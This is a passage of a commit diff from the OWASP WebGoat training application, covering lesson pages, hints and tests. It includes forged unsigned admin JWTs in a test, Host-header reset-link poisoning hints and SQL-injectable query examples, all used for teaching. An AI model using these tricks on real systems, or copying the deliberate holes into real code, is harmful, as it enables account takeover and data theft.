'<span class="glyphicon glyphicon-star-empty"></span>' +
'</div>' +
'<p HIDDEN_VIEW_RATING>Average AVERAGE<small> /</small>4</p>' +
'</div>' +
'<div class="clearfix"></div>' +
'</a>';
function getVotings() {
$("#votesList").empty();
$.get("votings/", function (result, status) {
for (var i = 0; i < result.length; i++) {
var voteTemplate = html.replace('IMAGE_SMALL', result[i].imageSmall);
if (i === 0) {
voteTemplate = voteTemplate.replace('ACTIVE', 'active');
voteTemplate = voteTemplate.replace('BUTTON', 'btn-default');
} else {
voteTemplate = voteTemplate.replace('ACTIVE', '');
voteTemplate = voteTemplate.replace('BUTTON', 'btn-primary');
}
voteTemplate = voteTemplate.replace(/TITLE/g, result[i].title);
voteTemplate = voteTemplate.replace('INFORMATION', result[i].information || '');
voteTemplate = voteTemplate.replace('NO_VOTES', result[i].numberOfVotes || '');
voteTemplate = voteTemplate.replace('AVERAGE', result[i].average || '');
var hidden = (result[i].numberOfVotes === undefined ? 'hidden' : '');
voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_VOTES/g, hidden);
hidden = (result[i].average === undefined ? 'hidden' : '');
voteTemplate = voteTemplate.replace(/HIDDEN_VIEW_RATING/g, hidden);
$("#votesList").append(voteTemplate);
}
})
}
function vote(title) {
var user = $("#name").text();
if (user === 'Guest') {
alert("As a guest you are not allowed to vote, please login first.")
} else {
$.ajax({
type: 'POST',
url: 'votings/' + title
}).then(
function () {
getVotings();
}
)
}
}

View File

@ -1 +0,0 @@
Changing language can help you find the 'secret' file

View File

@ -1 +0,0 @@
Try to change to a different user, maybe you can find the flag?

View File

@ -1,161 +0,0 @@
package org.owasp.webgoat.plugin.challenge4;
import org.hamcrest.CoreMatchers;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.runners.MockitoJUnitRunner;
import org.owasp.webgoat.plugin.Flag;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import javax.servlet.http.Cookie;
import static org.springframework.security.test.web.servlet.response.SecurityMockMvcResultMatchers.unauthenticated;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*;
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
/**
* @author nbaars
* @since 5/2/17.
*/
@RunWith(MockitoJUnitRunner.class)
public class VotesEndpointTest {
private MockMvc mockMvc;
@Before
public void setup() {
VotesEndpoint votesEndpoint = new VotesEndpoint();
votesEndpoint.initVotes();
new Flag().initFlags();
this.mockMvc = standaloneSetup(votesEndpoint).build();
}
@Test
public void loginWithUnknownUser() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
.param("user", "uknown"))
.andExpect(unauthenticated());
}
@Test
public void loginWithTomShouldGiveJwtToken() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
.param("user", "Tom"))
.andExpect(status().isOk()).andExpect(cookie().exists("access_token"));
}
@Test
public void loginWithGuestShouldNotGiveJwtToken() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
.param("user", "Guest"))
.andExpect(unauthenticated()).andExpect(cookie().value("access_token", ""));
}
@Test
public void userShouldSeeMore() throws Exception {
MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
.param("user", "Tom"))
.andExpect(status().isOk()).andExpect(cookie().exists("access_token")).andReturn();
mockMvc.perform(MockMvcRequestBuilders.get("/votings")
.cookie(mvcResult.getResponse().getCookie("access_token")))
.andExpect(jsonPath("$.[*].numberOfVotes").exists());
}
@Test
public void guestShouldNotSeeNumberOfVotes() throws Exception {
MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
.param("user", "Guest"))
.andExpect(unauthenticated()).andExpect(cookie().exists("access_token")).andReturn();
mockMvc.perform(MockMvcRequestBuilders.get("/votings")
.cookie(mvcResult.getResponse().getCookie("access_token")))
.andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist());
}
@Test
public void adminShouldSeeFlags() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/votings")
.cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJhZG1pbiI6InRydWUiLCJ1c2VyIjoiSmVycnkifQ.")))
.andExpect(jsonPath("$.[*].flag").isNotEmpty());
}
@Test
public void votingIsNotAllowedAsGuest() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/votings/Get it for free"))
.andExpect(unauthenticated());
}
@Test
public void normalUserShouldBeAbleToVote() throws Exception {
MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
.param("user", "Tom"))
.andExpect(status().isOk()).andExpect(cookie().exists("access_token")).andReturn();
mockMvc.perform(MockMvcRequestBuilders.post("/votings/Get it for free")
.cookie(mvcResult.getResponse().getCookie("access_token")));
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
.cookie(mvcResult.getResponse().getCookie("access_token")))
.andExpect(jsonPath("$..[?(@.title == 'Get it for free')].numberOfVotes", CoreMatchers.hasItem(20001)));
}
@Test
public void votingForUnknownLessonShouldNotCrash() throws Exception {
MvcResult mvcResult = mockMvc.perform(MockMvcRequestBuilders.get("/votings/login")
.param("user", "Tom"))
.andExpect(status().isOk()).andExpect(cookie().exists("access_token")).andReturn();
mockMvc.perform(MockMvcRequestBuilders.post("/votings/UKNOWN_VOTE")
.cookie(mvcResult.getResponse().getCookie("access_token"))).andExpect(status().isAccepted());
}
@Test
public void votingWithInvalidToken() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/votings/UKNOWN_VOTE")
.cookie(new Cookie("access_token", "abc"))).andExpect(unauthenticated());
}
@Test
public void gettingVotesWithInvalidToken() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
.cookie(new Cookie("access_token", "abc"))).andExpect(unauthenticated());
}
@Test
public void gettingVotesWithUnknownUserInToken() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
.cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJhZG1pbiI6InRydWUiLCJ1c2VyIjoiVW5rbm93biJ9.")))
.andExpect(unauthenticated())
.andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist());
}
@Test
public void gettingVotesForUnknownShouldWork() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
.cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiVW5rbm93biJ9.")))
.andExpect(unauthenticated())
.andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist());
}
@Test
public void gettingVotesForKnownWithoutAdminFieldShouldWork() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
.cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiVG9tIn0.")))
.andExpect(status().isOk())
.andExpect(jsonPath("$.[*].numberOfVotes").exists());
}
@Test
public void gettingVotesWithEmptyToken() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.get("/votings/")
.cookie(new Cookie("access_token", "")))
.andExpect(status().isOk())
.andExpect(jsonPath("$.[*].numberOfVotes").doesNotExist());
}
@Test
public void votingAsUnknownUserShouldNotBeAllowed() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/votings/Get it for free")
.cookie(new Cookie("access_token", "eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiVW5rbm93biJ9.")))
.andExpect(unauthenticated());
}
}

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
</project>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<build>
<plugins>

View File

@ -6,6 +6,6 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
</project>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<dependencies>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
</project>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<dependencies>

View File

@ -3,36 +3,27 @@
<html xmlns:th="http://www.thymeleaf.org">
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro0.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro1.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro2.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- reuse this lesson-page-wrapper block for each 'page' of content in your lesson -->
<!-- include content here. Content will be presented via asciidocs files,
which you put in src/main/resources/plugin/lessonplans/{lang}/{fileName}.adoc -->
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro3.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<!-- stripped down without extra comments -->
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro4.adoc"></div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro5.adoc"></div>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN" name="intercept-request"
@ -48,4 +39,8 @@
<div class="attack-output"></div>
</div>
</div>
<div class="lesson-page-wrapper">
<div class="adoc-content" th:replace="doc:HttpBasics_ProxyIntro6.adoc"></div>
</div>
</html>

Binary file not shown.

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 170 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 60 KiB

View File

@ -1,26 +1,25 @@
=== Use the intercept
=== Exclude WebGoat internal requests
To intercept a request, you start by clicking the green button. This will set a break point for the next request.
Before we start diving into intercepting requests with ZAP we need to exclude the internal requests from the WebGoat
framework otherwise ZAP will also stop at all the requests which are only necessary for the internal working of WebGoat.
image::images/proxy-intercept-button.png[Set break/intercept button,style="lesson-image"]
Right click on one of the links in history tab and select: `Exclude from -> Proxy`, see image below:
image::images/zap_exclude.png[Select URL from history,style="lesson-image"]
{nbsp}
A new window will open and add the following entries:
```
http://localhost:8080/WebGoat/service/.*
http://localhost:8080/WebGoat/.*.lesson.lesson
```
Click Ok to close the window, ZAP will now no longer proxy internal WebGoat requests.
*NOTE*: It is also possible set breakpoints that are triggered on conditions. That won't be covered in this lesson though. You are encouraged to explore.
That's part of what hackers do ... explore!
image::images/zap_exclude_url.png[Exclude internal APIs from WebGoat,style="lesson-image"]
Once you are intercepting requests and a request is made, it should look something like this:
image::images/proxy-intercept-details.png[ZAP history tab,style="lesson-image"]
=== Intercept and modify a request
Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When you request is intercepted (hits the breakpoint),
modify it as follows.
* Change the Method to GET
* Add a header 'x-request-intercepted:true'
* Change the input value 'changeMe' to 'Requests are tampered easily' (without the single quotes)
Then let the request continue through (by hitting the play button).
NOTE: The two play buttons behave a little differently, but we'll let you tinker and figure that out for yourself.

View File

@ -0,0 +1,26 @@
=== Use the intercept
To intercept a request, you start by clicking the green button. This will set a break point for the next request.
image::images/proxy-intercept-button.png[Set break/intercept button,style="lesson-image"]
*NOTE*: It is also possible set breakpoints that are triggered on conditions. That won't be covered in this lesson though. You are encouraged to explore.
That's part of what hackers do ... explore!
Once you are intercepting requests and a request is made, it should look something like this:
image::images/proxy-intercept-details.png[ZAP history tab,style="lesson-image"]
=== Intercept and modify a request
Set up the intercept as noted above and then submit the form/request below by clicking the submit button. When you request is intercepted (hits the breakpoint),
modify it as follows.
* Change the Method to GET
* Add a header 'x-request-intercepted:true'
* Change the input value 'changeMe' to 'Requests are tampered easily' (without the single quotes)
Then let the request continue through (by hitting the play button).
NOTE: The two play buttons behave a little differently, but we'll let you tinker and figure that out for yourself.

View File

@ -0,0 +1,29 @@
=== Use the "Edit and resend" functionality in ZAP
Another way to send a request again instead of clicking in WebGoat on a button and intercept the request there is also
an option to resend the same request again from within ZAP.
This may significantly help you to solve an assignment because you do not have to switch to ZAP enable the intercept button
and go back to WebGoat and perform the request again from within the browser.
Let's look at an example, we are going to use the e-mail example from the WebWolf introduction lesson. This lesson
will generate a request for `/WebGoat/WebWolf/mail`, in the "History" window select the URL you want to resend right click
on the URL and select `Open/Resend with Request Editor`. You can also find the request in the left pane of ZAP as indicated
with the red arrow in the image below:
image::images/zap_edit_and_resend.png[Open/Resend with Request Editor,style="lesson-image"]
{nbsp}
A new window will open and here you can modify the request for example change the e-mail address to someone else and send it again.
In the response tab you can inspect the response of the request. In some assignments the response will show a solved message
but sometimes you get a code/flag which you need to submit in WebGoat in order to complete the assignment. Always be on the
lookout for the response. If you solved the assignment by make a request in this way WebGoat will automatically mark
the lesson as solved.
image::images/zap_edit_and_send.png[Open/Resend with Request Editor,style="lesson-image"]
{nbsp}
image::images/zap_edit_and_response.png[Open/Resend response,style="lesson-image"]

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
</project>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<dependencies>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<dependencies>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<dependencies>

View File

@ -143,7 +143,6 @@ public class JWTVotesEndpoint extends AssignmentEndpoint {
Claims claims = (Claims) jwt.getBody();
boolean isAdmin = Boolean.valueOf((String) claims.get("admin"));
if (!isAdmin) {
votes.values().forEach(vote -> vote.reset());
return trackProgress(failed().feedback("jwt-only-admin").build());
} else {
votes.values().forEach(vote -> vote.reset());

View File

@ -16,8 +16,10 @@
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/jwt.css}"/>
<script th:src="@{/lesson_js/bootstrap.min.js}" language="JavaScript"></script>
<script th:src="@{/lesson_js/jwt-signing.js}" language="JavaScript"></script>
<script th:src="@{/lesson_js/jwt-voting.js}" language="JavaScript"></script>
<div class="attack-container">
<div class="attack-feedback"></div>
<div class="attack-output"></div>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST"
@ -37,16 +39,16 @@
</button>
<ul class="dropdown-menu dropdown-menu-left">
<li role="presentation"><a role="menuitem" tabindex="-1"
onclick="javascript:login('Guest')"
onclick="javascript:loginVotes('Guest')"
th:text="Guest">current</a></li>
<li role="presentation"><a role="menuitem" tabindex="-1"
onclick="javascript:login('Tom')"
onclick="javascript:loginVotes('Tom')"
th:text="Tom">current</a></li>
<li role="presentation"><a role="menuitem" tabindex="-1"
onclick="javascript:login('Jerry')"
onclick="javascript:loginVotes('Jerry')"
th:text="Jerry">current</a></li>
<li role="presentation"><a role="menuitem" tabindex="-1"
onclick="javascript:login('Sylvester')"
onclick="javascript:loginVotes('Sylvester')"
th:text="Sylvester">current</a></li>
</ul>
<button type="button" class="btn btn-default fa fa-refresh" title="Refresh votes"
@ -70,8 +72,7 @@
</form>
<br/>
<div class="attack-feedback"></div>
<div class="attack-output"></div>
</div>
</div>
@ -110,7 +111,7 @@
<link rel="stylesheet" type="text/css" th:href="@{/lesson_css/jwt.css}"/>
<script th:src="@{/lesson_js/bootstrap.min.js}" language="JavaScript"></script>
<script th:src="@{/lesson_js/jwt-refresh.js}" language="JavaScript"></script>
<script th:src="@{/lesson_js/jwt-buy.js}" language="JavaScript"></script>
<div class="attack-container">
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
@ -135,9 +136,11 @@
<tr>
<td class="col-sm-8 col-md-6">
<div class="media">
<img class="media-object" src="http://icons.iconarchive.com/icons/custom-icon-design/flatastic-2/72/product-icon.png" style="width: 72px; height: 72px;"></img>
<img class="media-object" th:src="@{/images/product-icon.png}"
style="width: 72px; height: 72px;"></img>
<div class="media-body">
<h4 class="media-heading"><a href="#">Learn defending your application with WebGoat</a></h4>
<h4 class="media-heading"><a href="#">Learn to defend your application with
WebGoat</a></h4>
<h5 class="media-heading"> by <a href="#">WebGoat Publishing</a></h5>
<span>Status: </span><span
class="text-success"><strong>In Stock</strong></span>
@ -147,8 +150,11 @@
<td class="col-sm-1 col-md-1" style="text-align: center">
<input type="text" class="form-control" id="quantity1" value="3"></input>
</td>
<td class="col-sm-1 col-md-1 text-center"><strong>$4.87</strong></td>
<td class="col-sm-1 col-md-1 text-center"><strong>$14.61</strong></td>
<td class="col-sm-1 col-md-1 text-center"><strong>$
<span id="piecePrice1">4.87</span></strong>
</td>
<td class="col-sm-1 col-md-1 text-center"><strong>$<span
id="totalPrice1">14.61</span></strong></td>
<td class="col-sm-1 col-md-1">
<button type="button" class="btn btn-danger">
<span class="glyphicon glyphicon-remove"></span> Remove
@ -158,7 +164,9 @@
<tr>
<td class="col-md-6">
<div class="media">
<img class="media-object" src="http://icons.iconarchive.com/icons/custom-icon-design/flatastic-2/72/product-icon.png" style="width: 72px; height: 72px;"></img>
<img class="media-object"
th:src="@{/images/product-icon.png}"
style="width: 72px; height: 72px;"></img>
<div class="media-body">
<h4 class="media-heading"><a href="#">Pentesting for professionals</a></h4>
<h5 class="media-heading"> by <a href="#">WebWolf Publishing</a></h5>
@ -166,11 +174,12 @@
</div>
</div>
</td>
<td class="col-md-1" style="text-align: center">
<td class="col-sm-1 col-md-1" style="text-align: center">
<input type="text" class="form-control" id="quantity2" value="2"></input>
</td>
<td class="col-md-1 text-center"><strong>$4.99</strong></td>
<td class="col-md-1 text-center"><strong>$9.98</strong></td>
<td class="col-sm-1 col-md-1 text-center"><strong>$<span id="piecePrice2">4.99</span></strong>
</td>
<td class="col-sm-1 col-md-1 text-center"><strong>$<span id="totalPrice2">9.98</span></strong></td>
<td class="col-md-1">
<button type="button" class="btn btn-danger">
<span class="glyphicon glyphicon-remove"></span> Remove
@ -185,8 +194,8 @@
<td>  </td>
<td><h5>Subtotal<br></br>Estimated shipping</h5>
<h3>Total</h3></td>
<td class="text-right"><h5><strong>$24.59<br></br>$6.94</strong></h5>
<h3>$31.53</h3></td>
<td class="text-right"><h5><strong>$<span id="subtotalJwt">24.59</span><br></br>$6.94</strong></h5>
<h3>$<span id="totalJwt">31.53</span></h3></td>
</tr>
<tr>
<td>  </td>

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 KiB

View File

@ -0,0 +1,36 @@
$(document).ready(function () {
$("#quantity1").on("blur", function () {
var quantity = $("#quantity1").val();
if (!$.isNumeric(quantity) || quantity < 0) {
$("#quantity1").val("1");
quantity = 1;
}
var piecePrice = $("#piecePrice1").text();
$('#totalPrice1').text((quantity * piecePrice).toFixed(2));
updateTotal();
});
$("#quantity2").on("blur", function () {
var quantity = $("#quantity2").val();
if (!$.isNumeric(quantity) || quantity < 0) {
$("#quantity2").val("1");
quantity = 1;
}
var piecePrice = $("#piecePrice2").text();
$('#totalPrice2').text((quantity * piecePrice).toFixed(2));
updateTotal();
})
})
function updateTotal() {
var price1 = parseFloat($('#totalPrice1').text());
var price2 = parseFloat($('#totalPrice2').text());
var subTotal = price1 + price2;
$('#subtotalJwt').text(subTotal.toFixed(2));
var total = subTotal + 6.94;
$('#totalJwt').text(total.toFixed(2));
}

View File

@ -1,8 +1,8 @@
$(document).ready(function () {
login('Guest');
loginVotes('Guest');
})
function login(user) {
function loginVotes(user) {
$("#name").text(user);
$.ajax({
url: 'JWT/votings/login?user=' + user,

View File

@ -1,8 +1,11 @@
:linkattrs:
== Refreshing a token
=== Introduction
In this section we touch upon refreshing an access token. There are many solutions some might
In this section we touch upon refreshing an access token.
=== Types of tokens
@ -31,7 +34,7 @@ The server returns:
```
As you can see the refresh token is a random string which the server can keep track of (in memory or store in a database)
With storing you can match the refresh token to the specific user the refresh token was granted to.
in order to match the refresh token to the user the refresh token was granted to.
So in this case whenever the access token is still valid we can speak of a "stateless" session, there is
no burden on the server side to setup the user session, the token is self contained.
When the access token is no longer valid the server needs to query for the stored refresh token to make sure the token
@ -51,7 +54,7 @@ Regardless of the chosen solution you should store enough information on the ser
is still trusted. You can think of many things, like store the ip address, keep track of how many times the refresh
token is used (using the refresh token multiple times in the valid time window of the access token might indicate strange
behavior, you can revoke all the tokens an let the user authenticate again).
It is also a good to keep track of which access token belonged to which refresh token. Otherwise an attacker might
Also keep track of which access token belonged to which refresh token otherwise an attacker might
be able to get a new access token for a different user with the refresh token of the attacker
(see https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/ for a nice write up about how this attack works)
Also a good thing to check for is the ip address or geolocation of the user. If you need to give out a new token check
@ -73,6 +76,13 @@ store for a refresh token, see previous paragraph. This way you need to check th
be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least
use a hash function to store them in your database).
=== JWT a good idea?
There are a lot of resources available which question the usecase for using JWT token for client to server authentication
with regards to cookies. The best place to use a JWT token is between server to server communication. In a normal web
application you are better of using plain old cookies. See for more information:
- http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/[stop-using-jwt-for-sessions, window="_blank"]
- http://cryto.net/~joepie91/blog/2016/06/19/stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work/[stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work, window="_blank"]
- http://cryto.net/~joepie91/blog/attachments/jwt-flowchart.png[flowchart, window="_blank"]

View File

@ -1,5 +1,10 @@
:linkattrs:
== Refreshing a token
It is important to implement a good strategy for refreshing an access token. This assignment is based on a vulnerability
found in a private bug bounty program on Bugcrowd, you can read the full write up https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/[here, window="_blank"]
=== Assignment
From a breach of last year the following logfile is available link:images/logs.txt[here]

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
</project>

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<dependencies>

View File

@ -62,7 +62,7 @@ public class ResetLinkAssignment extends AssignmentEndpoint {
resetLinks.add(resetLink);
String host = request.getHeader("host");
if (org.springframework.util.StringUtils.hasText(email)) {
if (email.equals(TOM_EMAIL) && host.contains("8081")) { //User indeed changed the host header.
if (email.equals(TOM_EMAIL) && host.contains("9090")) { //User indeed changed the host header.
userToTomResetLink.put(getWebSession().getUserName(), resetLink);
fakeClickingLinkEmail(host, resetLink);
} else {

View File

@ -21,11 +21,10 @@
<div class="container-fluid">
<div class="row">
<div class="col-md-2">
<div class="col-md-4">
<div style="padding: 20px;" id="password-login-2">
<h4 style="border-bottom: 1px solid #c5c5c5;"><i class="glyphicon glyphicon-user"></i> Account
Access</h4>
<div style="padding: 20px;" id="form-olvidado">
<fieldset>
<div class="form-group input-group">
<span class="input-group-addon">@</span>
@ -42,7 +41,7 @@
Access
</button>
<p class="help-block">
<a class="pull-right text-muted" href="#" id="olvidado">
<a class="pull-right text-muted" href="#" id="olvidado" onclick="showPasswordReset()">
<small>Forgot your password?</small>
</a>
</p>
@ -50,7 +49,7 @@
</fieldset>
</div>
<div style="display: none;" id="form-olvidado">
<div style="display: none;" id="password-reset-2">
<h4 class="">Forgot your password?</h4>
<fieldset>
@ -63,7 +62,7 @@
<button type="submit" class="btn btn-primary btn-block" id="btn-olvidado">Continue
</button>
<p class="help-block">
<a class="text-muted" href="#" id="acceso">
<a class="text-muted" href="#" id="acceso" onclick="showPassword()">
<small>Account Access</small>
</a>
</p>
@ -99,7 +98,7 @@
action="/WebGoat/PasswordReset/questions"
enctype="application/json;charset=UTF-8">
<div class="container-fluid">
<div class="col-md-2">
<div class="col-md-4">
<article class="card-body">
<a href="" class="float-right btn btn-outline-primary">Sign up</a>
<a href="" class="float-right btn btn-outline-primary">Login</a>
@ -143,7 +142,7 @@
enctype="application/json;charset=UTF-8">
<div class="container-fluid">
<div class="row">
<div class="col-md-3">
<div class="col-md-4">
<h4 style="border-bottom: 1px solid #c5c5c5;">
<i class="glyphicon glyphicon-user"></i>
Account Access

View File

@ -15,7 +15,7 @@ password-reset-not-solved=Sorry but you did not redirect the reset link to WebWo
password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf.
password-reset-hint2=Look at the link, can you think how the server creates this link?
password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link...
password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:8081
password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090
password-reset-hint5=Intercept the request and change the host header
login_failed=Login failed
login_failed.tom=Sorry only Tom can login at the moment

View File

@ -1,22 +1,13 @@
$(document).ready(function() {
$('#olvidado').click(function(e) {
e.preventDefault();
$('div#form-olvidado').toggle('500');
});
$('#acceso').click(function(e) {
e.preventDefault();
$('div#form-olvidado').toggle('500');
});
});
function showPasswordReset() {
console.log("clicking")
$('#password-reset').show();
$('#password-login').hide();
$('#password-reset-2').show();
$('#password-login-2').hide();
}
function showPassword() {
console.log("clicking")
$('#password-login').show();
$('#password-reset').hide();
$('#password-login-2').show();
$('#password-reset-2').hide();
}

View File

@ -5,12 +5,12 @@
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<packaging>pom</packaging>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
<parent>
<groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<modules>

View File

@ -6,6 +6,6 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
</project>

View File

@ -2,9 +2,9 @@
The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating strings making it susceptible to String SQL injection:
-------------------------------------------------------
"select * from users where name = " + userName + "'";
-------------------------------------------------------
------------------------------------------------------------
"select * from users where LAST_NAME = " + userName + "'";
------------------------------------------------------------
Using the form below try to retrieve all the users from the users table. You shouldn't need to know any specific user name to get the complete list, however you can use 'Smith' to see the data for one user.

View File

@ -2,8 +2,8 @@
The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection:
-------------------------------------------------------
"select * from users where employee_id = " + userID;
-------------------------------------------------------
--------------------------------------------------
"select * from users where USERID = " + userID;
--------------------------------------------------
Using the form below try to retrieve all the users from the users table. You shouldn't need to know any specific user name to get the complete list, however you can use '101' to see the data for one user.

View File

@ -6,7 +6,7 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
<dependencies>
<dependency>

View File

@ -6,6 +6,6 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
</project>

View File

@ -6,6 +6,6 @@
<parent>
<groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M15</version>
<version>v8.0.0.M16</version>
</parent>
</project>

View File

@ -27,21 +27,24 @@ WebWolf runs as a separate web application and is started automatically when usi
are not using the Docker image you will need to download the jar file and start it:
```
